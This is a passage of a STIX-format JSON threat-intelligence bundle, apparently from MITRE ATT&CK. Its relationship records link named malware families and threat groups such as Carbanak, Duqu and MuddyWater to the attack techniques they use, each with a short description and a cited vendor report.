            "id": "relationship--433eeadb-2011-476e-833a-7541df07d432",
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-03-17T01:16:26.019Z",
            "created": "2019-01-30T13:42:09.621Z"
        },
        {
            "id": "relationship--b106375b-8359-41fa-b979-c883fa827346",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) lists the directories for Desktop, program files, and the user\u2019s recently accessed files.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.576Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/",
                    "source_name": "PaloAlto DNS Requests May 2016"
                }
            ],
            "description": "[APT18](https://attack.mitre.org/groups/G0026) can collect system information from the victim\u2019s machine.(Citation: PaloAlto DNS Requests May 2016)",
            "id": "relationship--c47e35e1-cf8a-4c2b-b63d-25b37a008226",
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-05-30T18:05:32.899Z",
            "created": "2019-01-30T14:00:49.814Z"
        },
        {
            "id": "relationship--151dd9ac-7e33-4580-a4a4-09f71fa73f51",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can upload and download to/from a victim machine.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-24T17:52:48.039Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group",
                    "source_name": "Symantec Gallmaker Oct 2018"
                }
            ],
            "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) used PowerShell to download additional payloads and for execution.(Citation: Symantec Gallmaker Oct 2018)",
            "id": "relationship--ac048ca9-efc6-46fd-90fe-b9d2a641f037",
            "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-03-17T19:03:38.284Z",
            "created": "2019-01-30T14:26:43.141Z"
        },
        {
            "id": "relationship--828afc32-9874-40aa-b752-315c7623ffee",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kasidet](https://attack.mitre.org/software/S0088) creates a Registry Run key to establish persistence.(Citation: Zscaler Kasidet)(Citation: Microsoft Kasidet)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Kasidet",
                    "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.",
                    "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"
                },
                {
                    "source_name": "Microsoft Kasidet",
                    "description": "Manuel, J. and Plantado, R.. (2015, August 9). Win32/Kasidet. Retrieved March 24, 2016.",
                    "url": "http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2FKasidet"
                }
            ],
            "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T17:02:26.255Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5b69fc3c-1bf7-4092-be94-755790ccf41f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "One version of [Helminth](https://attack.mitre.org/software/S0170) uses a PowerShell script.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-03-16T16:55:40.070Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--7b909310-43e8-4870-ab62-d6078f27a785",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bisonal](https://attack.mitre.org/software/S0268) adds itself to the Registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\CurrentVersion\\Run\\</code> for persistence.(Citation: Unit 42 Bisonal July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Bisonal July 2018",
                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
            "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T00:24:48.673Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"
                }
            ],
            "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to enumerate running processes and identify their owners.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--93fe5493-d3c1-4db2-8228-61da951c660e",
            "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-16T16:03:40.955Z",
            "created": "2019-01-30T15:38:21.284Z"
        },
        {
            "id": "relationship--a7fc5d9b-7010-4bab-9e77-3b8e449a98bd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) can create a Windows account.(Citation: FireEye CARBANAK June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "type": "relationship",
            "modified": "2020-02-11T15:55:06.462Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e45cdf20-e182-4346-8c98-a48575282ae6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to initiate keylogging.(Citation: Zscaler Kasidet)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Kasidet",
                    "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.",
                    "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"
                }
            ],
            "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:02:26.220Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) decodes many of its artifacts and is decrypted (AES-128) after being downloaded.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--bfe474ce-d88f-4372-9918-a04470ba080e",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.850Z",
            "created": "2019-01-30T16:39:54.492Z"
        },
        {
            "id": "relationship--9ab576ed-2ba0-4fc5-87fc-2011a7cd183d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a module to collect data from removable drives.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                }
            ],
            "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "type": "relationship",
            "modified": "2020-03-17T16:19:37.609Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that checked if the ProgramData folder had folders or files with the keywords \"Kasper,\" \"Panda,\" or \"ESET.\"(Citation: Securelist MuddyWater Oct 2018)",
            "id": "relationship--7aab9015-1839-4672-9a9a-76f478c858a8",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-06-28T15:30:59.025Z",
            "created": "2019-01-30T17:33:40.973Z"
        },
        {
            "id": "relationship--b707524f-5ac2-47c2-964d-61782e812fda",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Naid](https://attack.mitre.org/software/S0205) creates a new service to establish.(Citation: Symantec Naid June 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Naid June 2012",
                    "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32"
        },
        {
            "id": "relationship--448a35fc-fecf-4373-9888-30c37dd1d56a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2019-04-24T23:18:53.288Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0bd9fd2b-e2f7-48f1-8988-31c041691585",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can take a desktop screenshot and save the file into <code>\\ProgramData\\Mail\\MailAg\\shot.png</code>.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                },
                {
                    "source_name": "Secureworks Karagany July 2019",
                    "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-08-13T14:05:45.410Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                }
            ],
            "description": "[Cannon](https://attack.mitre.org/software/S0351) uses port 587 for C2.(Citation: Unit42 Cannon Nov 2018)",
            "id": "relationship--267c62d3-362b-497c-8d2f-967a4d23c3cf",
            "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "type": "relationship",
            "modified": "2019-04-22T19:48:08.986Z",
            "created": "2019-01-30T18:58:04.072Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro MacOS April 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/",
                    "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018."
                }
            ],
            "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) sets the main loader file\u2019s attributes to hidden.(Citation: TrendMicro MacOS April 2018)",
            "id": "relationship--60fa966f-bb77-481f-9541-8a14e965718a",
            "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "type": "relationship",
            "modified": "2019-09-26T16:22:41.978Z",
            "created": "2019-01-30T19:18:20.190Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cybereason Oceanlotus May 2017",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) exploits a security vulnerability to load a fake DLL and execute its code.(Citation: Cybereason Oceanlotus May 2017)",
            "id": "relationship--e2b750e7-ad43-4e27-96a1-9bdb0e886a72",
            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2019-04-24T20:56:04.780Z",
            "created": "2019-01-30T20:01:45.514Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "source_name": "Talos Konni May 2017"
                }
            ],
            "description": "[KONNI](https://attack.mitre.org/software/S0356) had a feature to steal data from the clipboard.(Citation: Talos Konni May 2017)",
            "id": "relationship--592df85b-8f0b-46c1-87e6-fa48da9c0ead",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2019-07-26T18:47:19.517Z",
            "created": "2019-01-31T00:36:41.177Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--56f587e1-d7c3-4489-945e-58c4ee3e4ba7",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29",
            "external_references": [
                {
                    "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/",
                    "source_name": "TrendMicro MacOS April 2018"
                },
                {
                    "source_name": "Amnesty Intl. Ocean Lotus February 2021",
                    "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/",
                    "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."
                }
            ],
            "description": "(Citation: TrendMicro MacOS April 2018)(Citation: Amnesty Intl. Ocean Lotus February 2021)",
            "type": "relationship",
            "modified": "2021-03-02T14:02:19.551Z",
            "created": "2019-01-31T01:07:58.813Z"
        },
        {
            "id": "relationship--17c43eed-f8a2-42cb-8f0a-f31978e9e351",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POORAIM](https://attack.mitre.org/software/S0216) can conduct file browsing.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-20T21:24:11.248Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--9253e8b3-9fbb-4149-a2e4-60d36c006ba6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Downdelph](https://attack.mitre.org/software/S0134) uses RC4 to encrypt C2 responses.(Citation: ESET Sednit Part 3)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 3",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
                }
            ],
            "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:16:54.145Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--77ea5d03-715b-4247-8484-6c1cf2bc7984",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can use WMI queries to gather system information.(Citation: FireEye FIN7 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055"
        },
        {
            "id": "relationship--c6dc9631-b324-47d1-8bbd-975d20fa5e58",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MirageFox](https://attack.mitre.org/software/S0280) has the capability to execute commands using cmd.exe.(Citation: APT15 Intezer June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "APT15 Intezer June 2018",
                    "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.",
                    "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/"
                }
            ],
            "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T01:59:01.645Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--45fc6d1a-0101-4d14-92df-f9db27437fc4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) uses a custom binary protocol for C2 communications.(Citation: FireEye CARBANAK June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-02-11T15:55:06.492Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--70a1cab8-dd98-4b82-9f7f-36294e3889c0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of deleting the backdoor file.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-18T14:51:57.951Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--41ac0542-9215-466a-ba43-05bd8b9e330b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SynAck](https://attack.mitre.org/software/S0242) abuses NTFS transactions to launch and conceal malicious processes.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)(Citation: Kaspersky Lab SynAck May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
                    "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"
